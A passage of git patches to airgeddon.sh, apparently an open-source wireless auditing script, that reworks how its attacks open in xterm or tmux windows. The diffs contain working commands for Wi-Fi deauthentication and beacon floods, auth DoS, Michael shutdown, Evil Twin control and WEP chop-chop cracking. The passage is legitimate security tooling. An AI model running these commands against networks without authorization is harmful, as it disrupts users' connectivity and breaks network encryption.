1 -n 1024 -s 1024" "michael shutdown attack" + #xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "michael shutdown attack" -e mdk4 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 fi } From c622f3c9decdb9e37b8257cf0059ec524e209b09 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 03:07:28 +0530 Subject: [PATCH 075/148] DoS Pursuit Mode(mdk4 amok) - Added support for unified xterm/tmux calls --- airgeddon.sh | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 2ed9b7429..3eae90dc3 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3366,6 +3366,7 @@ function launch_dos_pursuit_mode_attack() { debug_print + local dos_pid local dos_cmd_line rm -rf "${tmpdir}dos_pm"* > /dev/null 2>&1 rm -rf "${tmpdir}nws"* > /dev/null 2>&1 @@ -3383,7 +3384,15 @@ function launch_dos_pursuit_mode_attack() { dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}bl.txt -c ${channel}" "${1} (DoS Pursuit mode)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}bl.txt -c ${channel}" | tr -d '"') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + dos_pursuit_mode_attack_pid="${dos_pid}" + fi + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & ;; "aireplay deauth attack") ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 From cd3240862da40fe5c6ea94ef3e6d23d5aa58def1 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 03:08:20 +0530 Subject: [PATCH 076/148] DoS Pursuit Mode(aireplay) - Added support for unified xterm/tmux calls --- airgeddon.sh | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 3eae90dc3..cdd8b6d3d 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3399,7 +3399,15 @@ function launch_dos_pursuit_mode_attack() { dos_delay=3 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" "${1} (DoS Pursuit mode)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" | tr -d '"') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + dos_pursuit_mode_attack_pid="${dos_pid}" + fi + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; "wids / wips / wds confusion attack") dos_delay=10 From 828f5c70435321d68449ef60ace09b2137211e23 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 03:09:26 +0530 Subject: [PATCH 077/148] DoS Pursuit Mode(wids/wips/wds confusion) - Added support for unified xterm/tmux calls --- airgeddon.sh | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index cdd8b6d3d..c13d2c56c 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3413,7 +3413,15 @@ function launch_dos_pursuit_mode_attack() { dos_delay=10 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" "${1} (DoS Pursuit mode)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" | tr -d '"') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + dos_pursuit_mode_attack_pid="${dos_pid}" + fi + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & ;; "beacon flood attack") dos_delay=1 From 3101e7631b95b082482fc890a9124a23daa4bacd Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 03:10:05 +0530 Subject: [PATCH 078/148] DoS Pursuit Mode(beacon flood) - Added support for unified xterm/tmux calls --- airgeddon.sh | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index c13d2c56c..345bbe27a 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3427,7 +3427,15 @@ function launch_dos_pursuit_mode_attack() { dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} b -n ${essid} -c ${channel} -s 1000 -h" "${1} (DoS Pursuit mode)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} b -n ${essid} -c ${channel} -s 1000 -h" | tr -d '"') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + dos_pursuit_mode_attack_pid="${dos_pid}" + fi + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & ;; "auth dos attack") dos_delay=1 From 1b884452ae9e63afa72db51992d9214d6398c0ea Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 03:10:38 +0530 Subject: [PATCH 079/148] DoS Pursuit Mode(auth DoS) - Added support for unified xterm/tmux calls --- airgeddon.sh | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 345bbe27a..6c8611b74 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3441,7 +3441,15 @@ function launch_dos_pursuit_mode_attack() { dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} a -a ${bssid} -m -s 1024" "${1} (DoS Pursuit mode)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} a -a ${bssid} -m -s 1024" | tr -d '"') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + dos_pursuit_mode_attack_pid="${dos_pid}" + fi + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & ;; "michael shutdown attack") dos_delay=1 From aabbee12c115a9b8584d4db7e0a731c265077ba4 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 03:11:19 +0530 Subject: [PATCH 080/148] DoS Pursuit Mode(michael shutdown) - Added support for unified xterm/tmux calls --- airgeddon.sh | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 6c8611b74..fdda1804b 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3455,7 +3455,15 @@ function launch_dos_pursuit_mode_attack() { dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"${1} (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} m -t ${bssid} -w 1 -n 1024 -s 1024" "${1} (DoS Pursuit mode)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} m -t ${bssid} -w 1 -n 1024 -s 1024" | tr -d '"') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + dos_pursuit_mode_attack_pid="${dos_pid}" + fi + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & ;; "Mdk4") dos_delay=1 From 80fbeaa45940a071b86e33e46a289d25e894ae89 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 03:13:53 +0530 Subject: [PATCH 081/148] DoS Pursuit Mode - Modified some code to match with existing pattern --- airgeddon.sh | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index fdda1804b..a25eab41d 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3472,9 +3472,10 @@ function launch_dos_pursuit_mode_attack() { manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" "Deauth (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" | tr -d '"') - while [ -z "${dos_pursuit_mode_attack_pid}" ]; do - dos_pursuit_mode_attack_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') done + dos_pursuit_mode_attack_pid="${dos_pid}" fi #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & ;; @@ -3486,9 +3487,10 @@ function launch_dos_pursuit_mode_attack() { manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" "Deauth (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then dos_cmd_line=$(echo "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" | tr -d '"') - while [ -z "${dos_pursuit_mode_attack_pid}" ]; do - dos_pursuit_mode_attack_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') done + dos_pursuit_mode_attack_pid="${dos_pid}" fi #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; @@ -3499,9 +3501,10 @@ function launch_dos_pursuit_mode_attack() { manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" "Deauth (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" | tr -d '"') - while [ -z "${dos_pursuit_mode_attack_pid}" ]; do - dos_pursuit_mode_attack_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') done + dos_pursuit_mode_attack_pid="${dos_pid}" fi #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & ;; From f838149af3be1c9846ea5567bb4580745e8192dc Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 03:38:30 +0530 Subject: [PATCH 082/148] Evil Twin Control Window - Modified a function and its call in heredocs --- airgeddon.sh | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index a25eab41d..7c5e6c533 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -8813,18 +8813,17 @@ function set_et_control_script() { local TMUX_WINDOWS_LIST=() local current_window_name - local last_char readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "\${session_name}:") for item in "${TMUX_WINDOWS_LIST[@]}"; do - current_window_name=$(echo "${item}" | awk -F '[:|(]' '{print $2}') - current_window_name="${current_window_name:1: -1}" - last_char="${current_window_name: -1}" - if [[ "${last_char}" = "*" ]] || [[ "${last_char}" = "-" ]]; then - current_window_name="${current_window_name::-1}" - fi - if [[ "${current_window_name}" = "\${tmux_main_window}" ]] || [[ "${current_window_name}" = "Control" ]]; then + [[ "${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="${BASH_REMATCH[1]}" + if [ "${current_window_name}" = "\${tmux_main_window}" ]; then continue fi + if [ -n "${1}" ]; then + if [ "${current_window_name}" = "${1}" ]; then + continue + fi + fi tmux kill-window -t "\${session_name}:${current_window_name}" done } @@ -8912,7 +8911,7 @@ function set_et_control_script() { if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then cat >&7 <<-EOF - kill_tmux_windows + kill_tmux_windows "Control" EOF fi From b84b269c4e391f1d8ded0623241cba67e60c0568 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 04:06:46 +0530 Subject: [PATCH 083/148] Evil Twin Enterprise Attack - Added heredocs function and call to kill enterprise tmux windows --- airgeddon.sh | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index 7c5e6c533..c3854f73d 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -8603,7 +8603,32 @@ function set_enterprise_control_script() { echo -e "ifacemode=${ifacemode}" } > "${enterprise_returning_vars_file}" } + EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&7 <<-'EOF' + function kill_tmux_windows() { + + local TMUX_WINDOWS_LIST=() + local current_window_name + readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "\${session_name}:") + for item in "${TMUX_WINDOWS_LIST[@]}"; do + [[ "${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="${BASH_REMATCH[1]}" + if [ "${current_window_name}" = "\${tmux_main_window}" ]; then + continue + fi + if [ -n "${1}" ]; then + if [ "${current_window_name}" = "${1}" ]; then + continue + fi + fi + tmux kill-window -t "\${session_name}:${current_window_name}" + done + } + EOF + fi + + cat >&7 <<-'EOF' #Kill Evil Twin Enterprise processes function kill_enterprise_windows() { From bd0cdd5ac4a0bb0b5d22f80be47f3ac406e5dc59 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 04:20:58 +0530 Subject: [PATCH 084/148] Evil Twin Enterprise Attack Control Window - Added unified xterm/tmux calls --- airgeddon.sh | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index c3854f73d..02dff2bd2 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -9091,8 +9091,19 @@ function launch_enterprise_control_window() { debug_print recalculate_windows_sizes - xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Control" -e "bash \"${tmpdir}${control_enterprise_file}\"" > /dev/null 2>&1 & - enterprise_process_control_window=$! + manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Control\"" "bash \"${tmpdir}${control_enterprise_file}\"" "Control" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + enterprise_process_control_window=$! + else + local enterprise_control_pid + local enterprise_control_cmd_line + enterprise_control_cmd_line=$(echo "bash \"${tmpdir}${control_enterprise_file}\"" | tr -d '"') + while [ -z "${enterprise_control_pid}" ]; do + enterprise_control_pid=$(ps --no-headers aux | grep "${enterprise_control_cmd_line}" | grep -v "grep ${enterprise_control_cmd_line}" | awk '{print $2}') + done + enterprise_process_control_window="${enterprise_control_pid}" + fi + #xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "${g1_topright_window}" -T "Control" -e "bash \"${tmpdir}${control_enterprise_file}\"" > /dev/null 2>&1 & } #Launch control window for Evil Twin attacks From 9e9df2262f76051c87cfdeaf1058f8a0fef7be73 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 04:26:38 +0530 Subject: [PATCH 085/148] Evil Twin Enterprise Attack Control Window - Kill all windows except Control window after successful completion of the attack --- airgeddon.sh | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index 02dff2bd2..4e0519137 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -8763,6 +8763,15 @@ function set_enterprise_control_script() { if [ ${break_on_next_loop} -eq 1 ]; then kill_enterprise_windows + EOF + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&7 <<-EOF + kill_tmux_windows "Control" + EOF + fi + + cat >&7 <<-'EOF' break fi From 6a58a1bae9521fa03ed546622c89506dcc833889 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 15:02:54 +0530 Subject: [PATCH 086/148] Keep WPS attack window open until user closes it --- airgeddon.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/airgeddon.sh b/airgeddon.sh index 4e0519137..ef5c559e1 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -8520,6 +8520,7 @@ function set_wps_attack_script() { echo echo -e "${white_color}Close this window" + read -r -d '' _ &- From 268ee0e72d3bdeac053f88323f8a874c6a4090c2 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 30 Mar 2019 11:49:39 +0100 Subject: [PATCH 087/148] Updated version to v9.20 --- airgeddon.sh | 6 +++--- language_strings.sh | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index ef5c559e1..be2d46eb1 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3,7 +3,7 @@ #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r #Date.........: 20190330 -#Version......: 9.11 +#Version......: 9.20 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -110,8 +110,8 @@ declare -A possible_alias_names=( ) #General vars -airgeddon_version="9.11" -language_strings_expected_version="9.11-1" +airgeddon_version="9.20" +language_strings_expected_version="9.20-1" standardhandshake_filename="handshake-01.cap" timeout_capture_handshake="20" tmpdir="/tmp/" diff --git a/language_strings.sh b/language_strings.sh index 309d0cc7b..5521608ef 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20190323 +#Date.........: 20190330 #Bash Version.: 4.2 or later #Set language_strings file version @@ -11,7 +11,7 @@ function set_language_strings_version() { debug_print - language_strings_version="9.11-1" + language_strings_version="9.20-1" } #Set different language text strings From c9c0307c97de902e7ebf0e5071a931d8ad7a06c9 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:25:16 +0530 Subject: [PATCH 088/148] WEP All In One Attack - Create heredoc functions to start and manage tmux processes inside separate windows --- airgeddon.sh | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index be2d46eb1..bb74bf1e5 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2941,6 +2941,34 @@ function set_wep_script() { cat >&6 <<-EOF #!/usr/bin/env bash + global_process_pid="" + EOF + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + function start_tmux_processes() { + + command_line="\${1}" + window_name="\${2}" + + tmux kill-window -t "${session_name}:\${window_name}" 2> /dev/null + tmux new-window -t "${session_name}:" -n "\${window_name}" + tmux send-keys -t "${session_name}:\${window_name}" "\${command_line}" ENTER + } + function get_tmux_process_id() { + + local process_pid + local process_cmd_line + process_cmd_line=\$(echo "\${1}" | tr -d '"') + while [ -z "\${process_pid}" ]; do + process_pid=\$(ps --no-headers aux | grep "\${process_cmd_line}" | grep -v "grep \${process_cmd_line}" | awk '{print \$2}') + done + global_process_pid="\${process_pid}" + } + EOF + fi + + cat >&6 <<-EOF #shellcheck disable=SC1037 #shellcheck disable=SC2164 #shellcheck disable=SC2140 From 9c1ac8cbe8709b786f349d228a575eca4bffd5c5 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:31:01 +0530 Subject: [PATCH 089/148] WEP All In One Attack - Create heredoc functions call for WEP Chop-Chop Phase 1 --- airgeddon.sh | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index bb74bf1e5..d81c151db 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190330 +#Date.........: 20190331 #Version......: 9.20 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -2997,18 +2997,32 @@ function set_wep_script() { wep_chopchop_launched=1 EOF - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (1/3)" -e "yes | aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}chopchop_output.txt\"" > /dev/null 2>&1 & - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "yes | aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}chopchop_output.txt\"" "Chop-Chop Attack (1/3)" + get_tmux_process_id "aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface}" + wep_chopchop_phase1_pid="\${global_process_pid}" + global_process_pid="" + EOF + else + cat >&6 <<-EOF + xterm -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (1/3)" -e "yes | aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}chopchop_output.txt\"" > /dev/null 2>&1 & + EOF + fi + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_chopchop_phase1_pid=$! + EOF + fi cat >&6 <<-'EOF' - wep_chopchop_phase1_pid=$! - wep_script_processes+=(${wep_chopchop_phase1_pid}) + wep_script_processes+=(${wep_chopchop_phase1_pid}) + fi fi - fi - ;; - 2) - EOF + ;; + 2) + EOF cat >&6 <<-EOF xterm -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" > /dev/null 2>&1 & From 2cfe4653722859619f9bf067667b6b7c69fd6526 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 31 Mar 2019 03:33:38 +0530 Subject: [PATCH 090/148] WEP All In One Attack - Create heredoc functions call for WEP Chop-Chop Phase 2 --- airgeddon.sh | 31 +++++++++++++++++++++---------- 1 file changed, 21 insertions(+), 10 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index d81c151db..65d10aef7 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3024,18 +3024,29 @@ function set_wep_script() { 2) EOF - cat >&6 <<-EOF - xterm -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" > /dev/null 2>&1 & - EOF + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + cat >&6 <<-EOF + start_tmux_processes "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" "Chop-Chop Attack (2/3)" + EOF + else + cat >&6 <<-EOF + xterm -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" > /dev/null 2>&1 & + EOF + fi + + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + cat >&6 <<-'EOF' + wep_chopchop_phase2_pid=$! + EOF + fi cat >&6 <<-'EOF' - wep_chopchop_phase2_pid=$! - wep_script_processes+=(${wep_chopchop_phase2_pid}) - wep_chopchop_phase=3 - ;; - 3) - wep_chopchop_phase2_pid_alive=$(ps uax | awk '{print 